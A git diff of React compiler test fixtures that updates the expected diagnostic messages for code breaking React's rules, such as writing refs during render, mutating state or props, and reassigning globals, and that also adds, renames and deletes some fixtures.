diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.expect.md
index 7b57eeab4dbb..94223bb898c9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-function useHook({ value }) {
+function useHook({value}) {
   const ref = useRef(null);
   // Writing to a ref in render is against the rules:
   ref.current = value;
@@ -17,10 +17,17 @@ function useHook({ value }) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-write-but-dont-read-ref-in-render.ts:5:2
   3 |   const ref = useRef(null);
   4 |   // Writing to a ref in render is against the rules:
 > 5 |   ref.current = value;
-    |   ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (5:5)
+    |   ^^^^^^^^^^^ Cannot update ref during render
   6 |   // returning a ref is allowed, so this alone doesn't trigger an error:
   7 |   return ref;
   8 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.js
index 613b08782950..f9c8f0dcf7a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.js
@@ -1,5 +1,5 @@
 // @validateRefAccessDuringRender
-function useHook({ value }) {
+function useHook({value}) {
   const ref = useRef(null);
   // Writing to a ref in render is against the rules:
   ref.current = value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.expect.md
index c00aaca4fe3a..f8d449260943 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @validateRefAccessDuringRender @compilationMode(infer)
+// @validateRefAccessDuringRender @compilationMode:"infer"
 function Component(props) {
   const ref = props.ref;
   ref.current = true;
@@ -15,10 +15,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-write-ref-prop-in-render.ts:4:2
   2 | function Component(props) {
   3 |   const ref = props.ref;
 > 4 |   ref.current = true;
-    |   ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (4:4)
+    |   ^^^^^^^^^^^ Cannot update ref during render
   5 |   return <div>{value}</div>;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.js
index b939ea540bd1..32997b89789b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.js
@@ -1,4 +1,4 @@
-// @validateRefAccessDuringRender @compilationMode(infer)
+// @validateRefAccessDuringRender @compilationMode:"infer"
 function Component(props) {
   const ref = props.ref;
   ref.current = true;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.expect.md
index 86faecc63222..e525d9e857bc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 
 function Foo() {
-  const [state, setState] = useState({ foo: { bar: 3 } });
+  const [state, setState] = useState({foo: {bar: 3}});
   const foo = state.foo;
   foo.bar = 1;
   return state;
@@ -17,10 +17,17 @@ function Foo() {
 ## Error
 
 ```
-  4 |   const [state, setState] = useState({ foo: { bar: 3 } });
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.
+
+error.modify-state-2.ts:6:2
+  4 |   const [state, setState] = useState({foo: {bar: 3}});
   5 |   const foo = state.foo;
 > 6 |   foo.bar = 1;
-    |   ^^^ InvalidReact: Mutating a value returned from 'useState()', which should not be mutated. Use the setter function to update instead (6:6)
+    |   ^^^ value cannot be modified
   7 |   return state;
   8 | }
   9 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.js
index 25a2782a06bd..dea5c8979d8c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.js
@@ -1,7 +1,7 @@
-import { useState } from "react";
+import {useState} from 'react';
 
 function Foo() {
-  const [state, setState] = useState({ foo: { bar: 3 } });
+  const [state, setState] = useState({foo: {bar: 3}});
   const foo = state.foo;
   foo.bar = 1;
   return state;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.expect.md
index 17302a8dae89..9dc405870db2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 
 function Foo() {
   let [state, setState] = useState({});
@@ -16,10 +16,17 @@ function Foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.
+
+error.modify-state.ts:5:2
   3 | function Foo() {
   4 |   let [state, setState] = useState({});
 > 5 |   state.foo = 1;
-    |   ^^^^^ InvalidReact: Mutating a value returned from 'useState()', which should not be mutated. Use the setter function to update instead (5:5)
+    |   ^^^^^ value cannot be modified
   6 |   return state;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.js
index ef3ed87758e0..fe5f8a4f2732 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.js
@@ -1,4 +1,4 @@
-import { useState } from "react";
+import {useState} from 'react';
 
 function Foo() {
   let [state, setState] = useState({});
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.expect.md
index 22bdff08d873..b3c1d0d243a7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { useReducer } from "react";
+import {useReducer} from 'react';
 
 function Foo() {
-  let [state, setState] = useReducer({ foo: 1 });
+  let [state, setState] = useReducer({foo: 1});
   state.foo = 1;
   return state;
 }
@@ -16,10 +16,17 @@ function Foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useReducer()', which should not be modified directly. Use the dispatch function to update instead.
+
+error.modify-useReducer-state.ts:5:2
   3 | function Foo() {
-  4 |   let [state, setState] = useReducer({ foo: 1 });
+  4 |   let [state, setState] = useReducer({foo: 1});
 > 5 |   state.foo = 1;
-    |   ^^^^^ InvalidReact: Mutating a value returned from 'useReducer()', which should not be mutated. Use the dispatch function to update instead (5:5)
+    |   ^^^^^ value cannot be modified
   6 |   return state;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.js
index 42a04fc8da3d..c3b6f68db7b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.js
@@ -1,7 +1,7 @@
-import { useReducer } from "react";
+import {useReducer} from 'react';
 
 function Foo() {
-  let [state, setState] = useReducer({ foo: 1 });
+  let [state, setState] = useReducer({foo: 1});
   state.foo = 1;
   return state;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.expect.md
new file mode 100644
index 000000000000..b0a1a6712305
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
+let cond = true;
+function Component(props) {
+  let a;
+  let b;
+  const f = () => {
+    if (cond) {
+      a = {};
+      b = [];
+    } else {
+      a = {};
+      b = [];
+    }
+    a.property = true;
+    b.push(false);
+  };
+  return <div onClick={f} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `a` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.mutable-range-shared-inner-outer-function.ts:8:6
+   6 |   const f = () => {
+   7 |     if (cond) {
+>  8 |       a = {};
+     |       ^ Cannot reassign `a` after render completes
+   9 |       b = [];
+  10 |     } else {
+  11 |       a = {};
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `a` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.mutable-range-shared-inner-outer-function.ts:17:23
+  15 |     b.push(false);
+  16 |   };
+> 17 |   return <div onClick={f} />;
+     |                        ^ This function may (indirectly) reassign or modify `a` after render
+  18 | }
+  19 |
+  20 | export const FIXTURE_ENTRYPOINT = {
+
+error.mutable-range-shared-inner-outer-function.ts:8:6
+   6 |   const f = () => {
+   7 |     if (cond) {
+>  8 |       a = {};
+     |       ^ This modifies `a`
+   9 |       b = [];
+  10 |     } else {
+  11 |       a = {};
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-shared-inner-outer-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.js
similarity index 100%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-shared-inner-outer-function.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.js
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.expect.md
deleted file mode 100644
index e3d641a8f617..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.expect.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-## Input
-
-```javascript
-// Let's not support identifiers defined after use for now.
-function component(a) {
-  let y = function () {
-    m(x);
-  };
-
-  let x = { a };
-  m(x);
-  return y;
-}
-
-```
-
-
-## Error
-
-```
-  2 | function component(a) {
-  3 |   let y = function () {
-> 4 |     m(x);
-    |     ^^^^ Todo: Handle non-const declarations for hoisting. variable "x" declared with let (4:4)
-  5 |   };
-  6 |
-  7 |   let x = { a };
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.js
deleted file mode 100644
index 3545a2184949..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-captured-arg-separately.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// Let's not support identifiers defined after use for now.
-function component(a) {
-  let y = function () {
-    m(x);
-  };
-
-  let x = { a };
-  m(x);
-  return y;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.expect.md
index 787f085471fb..96b91ccff661 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.expect.md
@@ -4,9 +4,9 @@
 ```javascript
 export function ViewModeSelector(props) {
   const renderIcon = () => <AcceptIcon />;
-  renderIcon.displayName = "AcceptIcon";
+  renderIcon.displayName = 'AcceptIcon';
 
-  return <Dropdown checkableIndicator={{ children: renderIcon }} />;
+  return <Dropdown checkableIndicator={{children: renderIcon}} />;
 }
 
 ```
@@ -15,12 +15,19 @@ export function ViewModeSelector(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+This modifies a variable that React considers immutable.
+
+error.mutate-function-property.ts:3:2
   1 | export function ViewModeSelector(props) {
   2 |   const renderIcon = () => <AcceptIcon />;
-> 3 |   renderIcon.displayName = "AcceptIcon";
-    |   ^^^^^^^^^^ InvalidReact: This mutates a variable that React considers immutable (3:3)
+> 3 |   renderIcon.displayName = 'AcceptIcon';
+    |   ^^^^^^^^^^ value cannot be modified
   4 |
-  5 |   return <Dropdown checkableIndicator={{ children: renderIcon }} />;
+  5 |   return <Dropdown checkableIndicator={{children: renderIcon}} />;
   6 | }
 ```
           
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.js
index 1c545c9f6114..a7d066718c67 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.js
@@ -1,6 +1,6 @@
 export function ViewModeSelector(props) {
   const renderIcon = () => <AcceptIcon />;
-  renderIcon.displayName = "AcceptIcon";
+  renderIcon.displayName = 'AcceptIcon';
 
-  return <Dropdown checkableIndicator={{ children: renderIcon }} />;
+  return <Dropdown checkableIndicator={{children: renderIcon}} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.expect.md
index d9a87f21fe73..5013a14300ef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.expect.md
@@ -15,10 +15,15 @@ function NoHooks() {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerExpression) Support UpdateExpression where argument is a global
+
+error.mutate-global-increment-op-invalid-react.ts:4:2
   2 |
   3 | function NoHooks() {
 > 4 |   renderCount++;
-    |   ^^^^^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Support UpdateExpression where argument is a global (4:4)
+    |   ^^^^^^^^^^^^^ (BuildHIR::lowerExpression) Support UpdateExpression where argument is a global
   5 |   return <div />;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.expect.md
index 665fc7053b78..0a64f902f8a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.expect.md
@@ -13,12 +13,31 @@ function useHook(a, b) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.mutate-hook-argument.ts:2:2
   1 | function useHook(a, b) {
 > 2 |   b.test = 1;
-    |   ^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead (2:2)
+    |   ^ value cannot be modified
   3 |   a.test = 2;
   4 | }
   5 |
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.mutate-hook-argument.ts:3:2
+  1 | function useHook(a, b) {
+  2 |   b.test = 1;
+> 3 |   a.test = 2;
+    |   ^ value cannot be modified
+  4 | }
+  5 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.expect.md
index 5e6345355869..78530caf4a55 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.expect.md
@@ -15,10 +15,17 @@ function Foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.mutate-property-from-global.ts:4:9
   2 |
   3 | function Foo() {
 > 4 |   delete wat.foo;
-    |          ^^^ InvalidReact: Writing to a variable defined outside a component or hook is not allowed. Consider using an effect (4:4)
+    |          ^^^ value cannot be modified
   5 |   return wat;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.expect.md
index 9cc7ebf8982c..69f09d393c79 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.expect.md
@@ -13,9 +13,16 @@ function Foo(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.mutate-props.ts:2:2
   1 | function Foo(props) {
 > 2 |   props.test = 1;
-    |   ^^^^^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead (2:2)
+    |   ^^^^^ value cannot be modified
   3 |   return null;
   4 | }
   5 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.expect.md
deleted file mode 100644
index 73d664f59388..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.expect.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-## Input
-
-```javascript
-// @disableMemoizationForDebugging @enableChangeDetectionForDebugging
-function Component(props) {}
-
-```
-
-
-## Error
-
-```
-InvalidConfig: Invalid environment config: the 'disableMemoizationForDebugging' and 'enableChangeDetectionForDebugging' options cannot be used together
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.js
deleted file mode 100644
index ce93cd29f1af..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.nomemo-and-change-detect.js
+++ /dev/null
@@ -1,2 +0,0 @@
-// @disableMemoizationForDebugging @enableChangeDetectionForDebugging
-function Component(props) {}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.expect.md
index 9313df4e585a..c7b1ac5f45b7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-let x = { a: 42 };
+let x = {a: 42};
 
 function Component(props) {
   foo(() => {
@@ -17,13 +17,33 @@ function Component(props) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.not-useEffect-external-mutate.ts:5:4
   3 | function Component(props) {
   4 |   foo(() => {
 > 5 |     x.a = 10;
-    |     ^ InvalidReact: Writing to a variable defined outside a component or hook is not allowed. Consider using an effect (5:5)
+    |     ^ value cannot be modified
   6 |     x.a = 20;
   7 |   });
   8 | }
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.not-useEffect-external-mutate.ts:6:4
+  4 |   foo(() => {
+  5 |     x.a = 10;
+> 6 |     x.a = 20;
+    |     ^ value cannot be modified
+  7 |   });
+  8 | }
+  9 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.js
index 56e375d4305d..3b44c4c24776 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.js
@@ -1,4 +1,4 @@
-let x = { a: 42 };
+let x = {a: 42};
 
 function Component(props) {
   foo(() => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.expect.md
index 55e885ba7d9a..c0998cb6cc10 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.expect.md
@@ -13,14 +13,27 @@ function Component() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.propertyload-hook.ts:2:12
   1 | function Component() {
 > 2 |   const x = Foo.useFoo;
-    |             ^^^^^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
-
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+    |             ^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 |   return x();
   4 | }
   5 |
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.propertyload-hook.ts:3:9
+  1 | function Component() {
+  2 |   const x = Foo.useFoo;
+> 3 |   return x();
+    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  4 | }
+  5 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.expect.md
new file mode 100644
index 000000000000..db088bbd0b9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+let b = 1;
+
+export default function MyApp() {
+  const fn = () => {
+    b = 2;
+  };
+  return foo(fn);
+}
+
+function foo(fn) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `b` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassign-global-fn-arg.ts:5:4
+  3 | export default function MyApp() {
+  4 |   const fn = () => {
+> 5 |     b = 2;
+    |     ^ `b` cannot be reassigned
+  6 |   };
+  7 |   return foo(fn);
+  8 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.js
new file mode 100644
index 000000000000..2ef634b470d2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.js
@@ -0,0 +1,15 @@
+let b = 1;
+
+export default function MyApp() {
+  const fn = () => {
+    b = 2;
+  };
+  return foo(fn);
+}
+
+function foo(fn) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.expect.md
index e4073947f7e1..a223997bb554 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.expect.md
@@ -17,13 +17,33 @@ function Component() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global-indirect.ts:4:4
   2 |   const foo = () => {
   3 |     // Cannot assign to globals
 > 4 |     someUnknownGlobal = true;
-    |     ^^^^^^^^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (4:4)
+    |     ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned
   5 |     moduleLocal = true;
   6 |   };
   7 |   foo();
+
+Error: Cannot reassign variables declared outside of the component/hook
+
